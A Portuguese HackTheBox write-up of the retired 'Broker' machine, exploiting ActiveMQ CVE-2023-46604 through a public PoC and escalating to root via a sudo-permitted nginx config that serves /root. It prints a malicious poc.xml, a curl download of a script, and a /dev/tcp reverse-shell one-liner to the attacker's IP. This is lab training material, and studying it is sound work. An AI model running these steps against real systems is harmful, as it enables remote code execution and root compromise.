DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Broker [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina linux de nível easy chamada Broker com as seguintes vulnerabilidades e técnicas de exploração:

  • Remote Code Execution - CVE-2023–46604
  • Acesso ao nginx como root

Recon e user flag

Iremos iniciar realizando uma varredura no alvo a procura de portas abertas utilizando o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nmap -sV --open -Pn 10.129.110.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 11:38 EST
Nmap scan report for 10.129.110.133
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Encontramos duas portas abertas, a porta 22 referente ao ssh e a porta 80 que possui um nginx rodando, esta iremos acessar pelo navegador.

Auth Page

Temos uma página que é necessário informar usuário e senha para acesso.

Analisando o response header descobrimos se tratar de um Apache ActiveMQ:
WWW-Authenticate: basic realm="ActiveMQRealm"

Apache ActiveMQ é um message broker criado em java com suporte a multi protocolo que é open source. Possui suporte a diversos clientes: JavaScript, C, C++, Python, .Net. E suporte a diversos protocolos como AMQP (Advanced Message Queuing Protocol), STOMP (Simple Text Oriented Messaging Protocol), MQTT para dispositivos IoT e OpenWire.
Numa rápida busca em sua documentação encontramos as credenciais default, que é admin:admin.

Com isso conseguimos acesso a aplicação:

401 Unauthorized

Buscando por vulnerabilidades recentes encontramos a CVE-2023–46604.
Esta CVE se trata de um Remote Code Execution, uma vulnerabilidade de desserialização remota não autenticada no conector de transporte do OpenWire que o ActiveMQ utiliza. Por padrão o conector de transporte possui a porta 61616 para conexões TCP, podemos constatar que a mesma se encontra disponível:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# nc -v 10.129.110.133 61616        
10.129.110.133: inverse host lookup failed: Unknown host
(UNKNOWN) [10.129.110.133] 61616 (?) open
Enter fullscreen mode Exit fullscreen mode

Em nossa varredura utilizando nmap essa porta não foi encontrada por termos utilizado a flag --open, que busca somente as 1000 primeiras portas.

A versão que esta rodando é a 5.15.15 que possui esta vulnerabilidade:

WWW-Authenticate: basic realm="ActiveMQRealm"

Conseguindo explorar esta vulnerabilidade poderemos executar comandos em nosso alvo com os mesmos privilégios do usuário que esta executando o servidor ActiveMQ. A vulnerabilidade ocorre no "empacotador" (marshaller) do protocolo OpenWire, o que expande a vulnerabilidade para qualquer cliente OpenWire em java que possua a dependência Maven activemq-client.

Uma análise detalhada da vulnerabilidade pode ser encontrada neste link:

CVE-2023-46604

Iremos utilizar a seguinte PoC para executar o RCE em nosso alvo:

GitHub - X1r0z/ActiveMQ-RCE: ActiveMQ RCE (CVE-2023–46604)

Iniciaremos clonando o repositório acima e realizando o build da poc criada em golang, seguindo os seguintes passos:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# git clone https://github.com/X1r0z/ActiveMQ-RCE.git
Cloning into 'ActiveMQ-RCE'...
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 23 (delta 7), reused 18 (delta 5), pack-reused 0
Receiving objects: 100% (23/23), 8.41 KiB | 957.00 KiB/s, done.
Resolving deltas: 100% (7/7), done.

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# ls -al 
total 16
drwxr-xr-x  3 root root 4096 Nov 17 11:49 .
drwxr-xr-x 38 root root 4096 Nov  9 15:09 ..
drwxr-xr-x  3 root root 4096 Nov 17 11:49 ActiveMQ-RCE

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# cd ActiveMQ-RCE                               

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ls -alh
total 40K
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 .
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 ..
drwxr-xr-x 8 root root 4.0K Nov 17 11:49 .git
-rw-r--r-- 1 root root   29 Nov 17 11:49 go.mod
-rw-r--r-- 1 root root 2.0K Nov 17 11:49 main.go
-rw-r--r-- 1 root root  751 Nov 17 11:49 poc.xml
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README-en.md
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README.md                                                                                                                                                                                                                                        

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# go build .                                                                                                     

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ls -alh
total 5.1M
drwxr-xr-x 3 root root 4.0K Nov 17 11:54 .
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 ..
-rwxr-xr-x 1 root root 5.0M Nov 17 11:54 ActiveMQ-RCE
drwxr-xr-x 8 root root 4.0K Nov 17 11:54 .git
-rw-r--r-- 1 root root   29 Nov 17 11:49 go.mod
-rw-r--r-- 1 root root 2.0K Nov 17 11:49 main.go
-rw-r--r-- 1 root root  630 Nov 17 11:54 poc.xml
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README-en.md
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README.md
Enter fullscreen mode Exit fullscreen mode

Com nosso binário pronto precisamos editar o arquivo poc.xml e inserir o comando que desejamos executar em nosso alvo.

Iremos inicialmente validar o RCE. Em uma aba do nosso terminal iremos subir um servidor python utilizando o seguinte comando:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Enter fullscreen mode Exit fullscreen mode

Em nosso arquivo poc.xml iremos adicionar um curl que ira bater em nosso servidor python na porta especifica e adicionaremos um path qualquer para validar que se trata da mesma requisição:

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>curl 10.10.14.85:8081/testSuccess</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
Enter fullscreen mode Exit fullscreen mode

E ao executar a PoC passamos o ip do alvo (-i) e o nosso servidor loca (-u) onde irá buscar o conteúdo do arquivo poc.xml e posteriormente executar o comando contido no mesmo:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ./ActiveMQ-RCE -i 10.129.110.133 -p 61616 -u http://10.10.14.85:8081/poc.xml
     _        _   _           __  __  ___        ____   ____ _____ 
    / \   ___| |_(_)_   _____|  \/  |/ _ \      |  _ \ / ___| ____|
   / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | |   |  _|  
  / ___ \ (__| |_| |\ V /  __/ |  | | |_| |_____|  _ <| |___| |___ 
 /_/   \_\___|\__|_| \_/ \___|_|  |_|\__\_\     |_| \_\\____|_____|
[*] Target: 10.129.110.133:61616
[*] XML URL: http://10.10.14.85:8081/poc.xml
[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31342e38353a383038312f706f632e786d6c
Enter fullscreen mode Exit fullscreen mode

Temos o seguinte retorno em nosso servidor python, confirmando o RCE:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.110.133 - - [17/Nov/2023 11:57:15] "GET /poc.xml HTTP/1.1" 200 -
10.129.110.133 - - [17/Nov/2023 11:57:15] "GET /poc.xml HTTP/1.1" 200 -
10.129.110.133 - - [17/Nov/2023 11:57:16] code 404, message File not found
10.129.110.133 - - [17/Nov/2023 11:57:16] "GET /testSuccess HTTP/1.1" 404 -
Enter fullscreen mode Exit fullscreen mode

Como próximo passo iremos criar localmente um arquivo chamado rev.sh com o seguinte conteúdo:

sh -i 5<> /dev/tcp/10.10.14.85/9001 0<&5 1>&5 2>&5
Enter fullscreen mode Exit fullscreen mode

E assim como foi realizado no teste da poc iremos editar o arquivo poc.xml para através do nosso servidor python realizar o download do nosso reverse shell:

            <list>
                <value>bash</value>
                <value>-c</value>
                <value>curl 10.10.14.85:8081/rev.sh -o /tmp/rev.sh</value>
            </list>
Enter fullscreen mode Exit fullscreen mode

Precisamos em uma aba do nosso terminal ouvir com o netcat na porta 9001:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nc -nvlp 9001
listening on [any] 9001 ...
Enter fullscreen mode Exit fullscreen mode

E posteriormente executar nosso reverse shell:

             <list>
                <value>bash</value>
                <value>-c</value>
                <value>bash /tmp/rev.sh</value>
            </list>
Enter fullscreen mode Exit fullscreen mode

Obtendo assim shell em nosso servidor alvo com o usuário activemq:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.85] from (UNKNOWN) [10.129.110.133] 56672
sh: 0: can't access tty; job control turned off
$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
Enter fullscreen mode Exit fullscreen mode

Esse é um usuário existente com diretório home, que possui a user flag:

$ env
USER=activemq
SHLVL=1
HOME=/home/activemq
SYSTEMD_EXEC_PID=878
LOGNAME=activemq
_=-alh
JOURNAL_STREAM=8:22190
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=db8505c33e2b484c901ac032804e3bb6
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/opt/apache-activemq-5.15.15/bin
$ pwd
/opt/apache-activemq-5.15.15/bin
$ ls -alh /home
total 12K
drwxr-xr-x  3 root     root     4.0K Nov  6 01:18 .
drwxr-xr-x 18 root     root     4.0K Nov  6 01:18 ..
drwxr-x---  4 activemq activemq 4.0K Nov  7 08:44 activemq
$ ls -alh /home/activemq
total 32K
drwxr-x--- 4 activemq activemq 4.0K Nov  7 08:44 .
drwxr-xr-x 3 root     root     4.0K Nov  6 01:18 ..
lrwxrwxrwx 1 root     root        9 Nov  5 04:14 .bash_history -> /dev/null
-rw-r--r-- 1 activemq activemq  220 Nov  5 00:15 .bash_logout
-rw-r--r-- 1 activemq activemq 3.7K Nov  5 00:15 .bashrc
drwx------ 2 activemq activemq 4.0K Nov  7 06:46 .cache
drwxrwxr-x 3 activemq activemq 4.0K Nov  7 08:17 .local
-rw-r--r-- 1 activemq activemq  807 Nov  5 00:15 .profile
-rw-r----- 1 root     activemq   33 Nov 17 16:37 user.txt
$ cat /home/activemq/user.txt
0eb1d389754c92b0819b92dc72bfde21
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Podemos ver as permissões do usuário activemq e quais comandos ou binários ele pode executar como root com o seguinte comando:

activemq@broker:/home/activemq$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
Enter fullscreen mode Exit fullscreen mode

O usuário pode executar o binário do nginx como root, ou seja, ele tem permissão para abrir uma porta no servidor expondo qualquer diretório :)

Sendo o nginx um servidor web e proxy reverso ele permite que seja feito o roteamento de portas (proxy) ou servir como servidor web expondo determinados diretórios que em seu uso comum exibem arquivos de uma página web.

Com isso conseguimos criar um simples arquivo de configuração do nginx que irá expor o diretório root, seu conteúdo e por ventura a root flag:

user              root;
events {
    use           epoll;
    worker_connections  128;
}
http {
    server {
        server_name   localhost;
        listen        0.0.0.0:8081;
        location      / {
            root      /root;
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

O arquivo é simples, ele irá expor o diretório root na diretiva location e seu conteúdo será exposto para qualquer endereço que o servidor possua (0.0.0.0) na porta 8081.

Com este arquivo em mãos basta executar o seguinte comando para subir nosso servidor web:

activemq@broker:/home/activemq$ sudo /usr/sbin/nginx -c ~/simple-nginx.conf
Podemos visualizar que a nova porta esta disponível no endereço que configuramos:
activemq@broker:/home/activemq$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::61616                :::*                    LISTEN      939/java
tcp6       0      0 :::61613                :::*                    LISTEN      939/java
tcp6       0      0 :::61614                :::*                    LISTEN      939/java
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::33805                :::*                    LISTEN      939/java
tcp6       0      0 :::5672                 :::*                    LISTEN      939/java
tcp6       0      0 :::8161                 :::*                    LISTEN      939/java
tcp6       0      0 :::1883                 :::*                    LISTEN      939/java
Enter fullscreen mode Exit fullscreen mode

No entanto, o arquivo acima não esta permitindo index do diretório por completo, o que irá gerar um 403 ao tentar acessar ip:porta.
Mas podemos bater diretamente nos arquivos e como sabemos que a root flag é o arquivo root.txt:
Ou podemos visualizar o valor utilizando curl:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# curl http://10.129.110.133:8081/root.txt
0d29c65f0340592d39d1b82cd428fda8
Enter fullscreen mode Exit fullscreen mode

É possível também executar um reverse shell para escalar para o usuário root. Para isso podemos configurar nosso nginx com suporte a php, por exemplo, e rodar um arquivo .php com nosso reverse shell.

Mas como o intuito é capturar as flags (CTF :P), a forma apresentada é o suficiente.

E assim finalizamos a máquina Broker!

Pwned

Top comments (0)